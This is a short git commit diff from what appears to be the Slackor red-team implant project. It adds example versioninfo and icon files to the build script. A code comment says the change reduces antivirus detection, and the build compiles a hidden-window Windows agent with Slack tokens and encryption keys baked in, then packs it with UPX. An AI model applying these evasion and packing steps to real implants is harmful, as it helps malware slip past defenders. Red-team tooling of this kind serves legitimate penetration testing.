Moved versioninfo files into example files to allow easier customization

Author: sporkmonger

.gitignore

@@ -5,3 +5,6 @@ dist/agent.upx.exe
 dist/agent.windows.exe
 slackor.db
 resource.syso
+versioninfo.json
+versioninfo.manifest
+icon.ico

agent.py

@@ -2,6 +2,7 @@
 import sqlite3
 import hashlib
 import subprocess
+import os.path
 
 conn = sqlite3.connect('slackor.db')
 
@@ -21,6 +22,14 @@
 
 conn.close()
 
+# Reduce A/V detection by having valid looking versioninfo
+if not os.path.exists("versioninfo.json"):
+    subprocess.run(["bash", "-c", "cp -p versioninfo.example.json versioninfo.json"])
+if not os.path.exists("versioninfo.manifest"):
+    subprocess.run(["bash", "-c", "cp -p versioninfo.example.manifest versioninfo.manifest"])
+if not os.path.exists("icon.ico"):
+    subprocess.run(["bash", "-c", "cp -p icon.example.ico icon.ico"])
+
 # Build exe and pack with UPX
 subprocess.run(["bash", "-c", "GO111MODULE=on go generate"])
 subprocess.run(["bash", "-c", "GO111MODULE=on GOOS=windows GOARCH=amd64 go build -o dist/agent.windows.exe -ldflags \"-s -w -H windowsgui -X github.com/Coalfire-Research/Slackor/internal/config.ResponseChannel=%s -X github.com/Coalfire-Research/Slackor/internal/config.RegistrationChannel=%s -X github.com/Coalfire-Research/Slackor/internal/config.CommandsChannel=%s -X github.com/Coalfire-Research/Slackor/internal/config.Bearer=%s -X github.com/Coalfire-Research/Slackor/internal/config.Token=%s -X github.com/Coalfire-Research/Slackor/internal/config.CipherKey=%s -X github.com/Coalfire-Research/Slackor/internal/config.SerialNumber=%s\" agent.go" % (responses, registration, commands, bearer, token, aes_key, '%0128x' % random.randrange(16**128))])